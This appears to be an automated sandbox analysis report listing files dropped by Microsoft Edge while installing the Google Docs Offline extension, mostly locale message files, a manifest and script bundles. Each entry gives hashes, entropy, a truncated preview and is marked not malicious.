SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
